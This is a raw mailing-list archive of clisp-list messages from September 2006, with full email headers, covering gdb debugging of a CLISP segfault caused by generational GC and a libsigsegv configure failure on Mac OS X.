<44FDD21E.4070005@gnu.org> Date: Tue, 05 Sep 2006 15:38:06 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> In-Reply-To: <44FDD084.7010105@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:38:19 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> ok - so why does the woe32 function crash? >> did it crash before the patch? >> could you please run this under gdb and report the backtrace? > > $ gdb --args lisp.exe -M lispinit.mem -norc > GNU gdb 5.2.1 > Copyright 2002 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain > conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "i686-pc-mingw32"... > (gdb) run > Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe > -M lispinit.mem -norc > > Program received signal SIGSEGV, Segmentation fault. > 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 > 7985 BufferedStream_buffstart(stream) = 0; # delete buffstart > (unnecessary) > (gdb) backtrace > #0 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 > #1 0x0022fc08 in ?? () > #2 0x0043c7e0 in loadmem_from_handle (handle=0x4f8058, > filename=0x4f8084 "\024\020Q") at spvw_memfile.d:1622 > #3 0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at > spvw_memfile.d:922 > #4 0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922 > #5 0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278 > (gdb) > > this is because of generational GC. in gdb: handle SIGSEGV noprint nostop handle SIGBUS noprint nostop or recompile without Gen GC From lisp-clisp-list@m.gmane.org Tue Sep 05 12:39:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgly-0000L0-IY for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:39:50 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GKglx-0008Fa-VP for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:39:50 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GKglZ-0004RA-40 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 21:39:25 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:39:25 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:39:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 05 Sep 2006 15:38:06 -0400 Lines: 42 Message-ID: <44FDD21E.4070005@gnu.org> References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <44FDD084.7010105@tut.by> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:39:50 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> ok - so why does the woe32 function crash? >> did it crash before the patch? >> could you please run this under gdb and report the backtrace? > > $ gdb --args lisp.exe -M lispinit.mem -norc > GNU gdb 5.2.1 > Copyright 2002 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain > conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "i686-pc-mingw32"... > (gdb) run > Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe > -M lispinit.mem -norc > > Program received signal SIGSEGV, Segmentation fault. > 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 > 7985 BufferedStream_buffstart(stream) = 0; # delete buffstart > (unnecessary) > (gdb) backtrace > #0 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 > #1 0x0022fc08 in ?? () > #2 0x0043c7e0 in loadmem_from_handle (handle=0x4f8058, > filename=0x4f8084 "\024\020Q") at spvw_memfile.d:1622 > #3 0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at > spvw_memfile.d:922 > #4 0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922 > #5 0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278 > (gdb) > > this is because of generational GC. in gdb: handle SIGSEGV noprint nostop handle SIGBUS noprint nostop or recompile without Gen GC From kavenchuk@tut.by Tue Sep 05 12:50:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgvq-0001En-0i for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:50:02 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKgvp-0003M8-FT for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:50:01 -0700 Received: from [86.57.147.209] (account kavenchuk HELO [86.57.147.209]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131733035; Tue, 05 Sep 2006 22:49:51 +0300 Message-ID: <44FDD4E1.6080401@tut.by> Date: Tue, 05 Sep 2006 22:49:53 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> In-Reply-To: <44FDD21E.4070005@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:50:02 -0000 Sam Steingold wrote: > this is because of generational GC. > in gdb: > handle SIGSEGV noprint nostop > handle SIGBUS noprint nostop > or recompile without Gen GC $ gdb --args lisp.exe -M lispinit.mem -norc GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... (gdb) handle SIGSEGV noprint nostop Signal Stop Print Pass to program Description SIGSEGV No No Yes Segmentation fault (gdb) handle SIGBUS noprint nostop Signal Stop Print Pass to program Description SIGBUS No No Yes Bus error (gdb) run Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe -M lispinit.mem -norc Program exited with code 030000000005. From sds@gnu.org Tue Sep 05 12:55:59 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKh1b-0001mE-9L for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:55:59 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKh1Z-0004bQ-TM for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:55:59 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A64764E00B4; Tue, 05 Sep 2006 15:55:51 -0400 Message-ID: <44FDD646.4060105@gnu.org> Date: Tue, 05 Sep 2006 15:55:50 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> In-Reply-To: <44FDD4E1.6080401@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:55:59 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> this is because of generational GC. >> in gdb: >> handle SIGSEGV noprint nostop >> handle SIGBUS noprint nostop >> or recompile without Gen GC > > $ gdb --args lisp.exe -M lispinit.mem -norc > GNU gdb 5.2.1 > Copyright 2002 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain > conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "i686-pc-mingw32"... > (gdb) handle SIGSEGV noprint nostop > Signal Stop Print Pass to program Description > SIGSEGV No No Yes Segmentation fault > (gdb) handle SIGBUS noprint nostop > Signal Stop Print Pass to program Description > SIGBUS No No Yes Bus error > (gdb) run > Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe > -M lispinit.mem -norc you gotta get creative here. before "run" - set a break point in C_foreign_call_out and when it is hit, re-enable sigsegv. or just rebuild without gen gc From lisp-clisp-list@m.gmane.org Tue Sep 05 12:56:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKh1w-0001rA-4e for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:56:20 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GKh1v-0004k3-Jf for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:56:20 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GKh1j-0000Ne-2j for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 21:56:07 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:56:07 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:56:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 05 Sep 2006 15:55:50 -0400 Lines: 32 Message-ID: <44FDD646.4060105@gnu.org> References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <44FDD4E1.6080401@tut.by> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:56:20 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> this is because of generational GC. >> in gdb: >> handle SIGSEGV noprint nostop >> handle SIGBUS noprint nostop >> or recompile without Gen GC > > $ gdb --args lisp.exe -M lispinit.mem -norc > GNU gdb 5.2.1 > Copyright 2002 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain > conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "i686-pc-mingw32"... > (gdb) handle SIGSEGV noprint nostop > Signal Stop Print Pass to program Description > SIGSEGV No No Yes Segmentation fault > (gdb) handle SIGBUS noprint nostop > Signal Stop Print Pass to program Description > SIGBUS No No Yes Bus error > (gdb) run > Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe > -M lispinit.mem -norc you gotta get creative here. before "run" - set a break point in C_foreign_call_out and when it is hit, re-enable sigsegv. or just rebuild without gen gc From kavenchuk@tut.by Tue Sep 05 13:02:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKh8B-0002Qw-Rd for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:02:47 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKh8A-0004Jn-Cf for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:02:47 -0700 Received: from [86.57.147.209] (account kavenchuk HELO [86.57.147.209]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131740762; Tue, 05 Sep 2006 23:02:35 +0300 Message-ID: <44FDD7DD.2040705@tut.by> Date: Tue, 05 Sep 2006 23:02:37 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> <44FDD646.4060105@gnu.org> In-Reply-To: <44FDD646.4060105@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 20:02:48 -0000 Sam Steingold wrote: > you gotta get creative here. > before "run" - set a break point in C_foreign_call_out and when it is > hit, re-enable sigsegv. > > or just rebuild without gen gc Excuse me, but how rebuild clisp without gen gc? From sds@gnu.org Tue Sep 05 13:08:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKhDo-0002yn-0P for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:08:36 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKhDf-00079S-HM for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:08:29 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A93671000BE; Tue, 05 Sep 2006 16:08:22 -0400 Message-ID: <44FDD934.3050003@gnu.org> Date: Tue, 05 Sep 2006 16:08:20 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> <44FDD646.4060105@gnu.org> <44FDD7DD.2040705@tut.by> In-Reply-To: <44FDD7DD.2040705@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 20:08:36 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> you gotta get creative here. >> before "run" - set a break point in C_foreign_call_out and when it is >> hit, re-enable sigsegv. >> >> or just rebuild without gen gc > > Excuse me, but how rebuild clisp without gen gc? read the comments in the beginning of src/lispbibl.d: add NO_GENERATIONAL_GC to CFLAGS From lisp-clisp-list@m.gmane.org Tue Sep 05 13:09:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKhEv-00035A-HO for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:09:45 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GKhEt-0005ZL-TR for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 13:09:45 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GKhE5-000343-C2 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 22:08:54 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 22:08:53 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 22:08:53 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 05 Sep 2006 16:08:20 -0400 Lines: 12 Message-ID: <44FDD934.3050003@gnu.org> References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> <44FDD646.4060105@gnu.org> <44FDD7DD.2040705@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org Cc: clisp-list@lists.sourceforge.net X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <44FDD7DD.2040705@tut.by> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 20:09:45 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> you gotta get creative here. >> before "run" - set a break point in C_foreign_call_out and when it is >> hit, re-enable sigsegv. >> >> or just rebuild without gen gc > > Excuse me, but how rebuild clisp without gen gc? read the comments in the beginning of src/lispbibl.d: add NO_GENERATIONAL_GC to CFLAGS From sds@podval.org Tue Sep 05 17:54:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKlg9-0002jL-12 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 17:54:09 -0700 Received: from mta8.srv.hcvlny.cv.net ([167.206.4.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKlg6-0002bV-L3 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 17:54:09 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta8.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J550019JBRK88N6@mta8.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 20:52:33 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 0786C21E090; Tue, 05 Sep 2006 20:53:55 -0400 (EDT) Date: Tue, 05 Sep 2006 20:53:55 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Joe Koski Mail-followup-to: clisp-list@lists.sourceforge.net, Joe Koski Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 00:54:09 -0000 Joe, I am no expert on configure. unless someone here steps in, you might want to ask the autoconf mailing list. > configure: failed program was: so, does it have the failed program for sigsegv? > Incidentally, the clisp-2.39 built without libsigsegv.a passes all the > clisp and maxima tests. good. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://thereligionofpeace.com http://memri.org http://honestreporting.com http://jihadwatch.org Type louder, please. From jkoski11@comcast.net Tue Sep 05 20:45:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKoML-00008s-EP for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 20:45:53 -0700 Received: from sccrmhc14.comcast.net ([204.127.200.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKoMJ-0001k6-44 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 20:45:53 -0700 Received: from [192.168.0.101] (c-68-35-95-225.hsd1.nm.comcast.net[68.35.95.225]) by comcast.net (sccrmhc14) with SMTP id <20060906034542014008jmm2e>; Wed, 6 Sep 2006 03:45:43 +0000 User-Agent: Microsoft-Entourage/11.2.5.060620 Date: Tue, 05 Sep 2006 21:45:42 -0600 From: Joe Koski To: clisp list Message-ID: Thread-Topic: Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 Thread-Index: AcbRZu0EK3ON8j1aEdumngAKlbaO5g== In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 03:45:53 -0000 on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote: > Joe, > > I am no expert on configure. > unless someone here steps in, you might want to ask the autoconf mailing > list. > >> configure: failed program was: > so, does it have the failed program for sigsegv? > Sam, I'm probably less of an expert on configure than you are. The puzzlement is that there doesn't seem to be a "failed program" or error reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h, and I don't know which file configure keys from in this case because config.log doesn't say. I recently built octave with the sparse matrix libraries. There, configure was using the header files for detection of the sparse libraries, and reporting the missing header files in config.log. I can't seem to find the smoking gun here. It is almost as if there is something preventing the successful matching of the string with prefix directory and library name with actual file name. For example, libsigsegv could be misspelled somewhere in the configure script, or we're seeing a case sensitivity or character set issue. What further baffles me is that clisp-2.38 built successfully with the same arrangement. Can someone suggest a test that will isolate the problem location? I'd be willing to try. OK, I'll give it a couple of days, look it over again, and then I'll go back to clisp-2.38. All I use clisp for is maxima, and I suspect that at my level of usage, I won't see any improvement in results based on the newer clisp version. Thanks. > >> Incidentally, the clisp-2.39 built without libsigsegv.a passes all the >> clisp and maxima tests. > good. > Joe From kavenchuk@tut.by Tue Sep 05 22:07:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKpcr-0006jG-Rg for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 22:07:01 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKpcq-0004k9-Ob for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 22:07:01 -0700 X-VBA32: Checked Received: from [194.158.220.85] (account kavenchuk HELO [194.158.220.85]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131962724; Wed, 06 Sep 2006 08:06:51 +0300 Message-ID: <44FE571D.8070403@tut.by> Date: Wed, 06 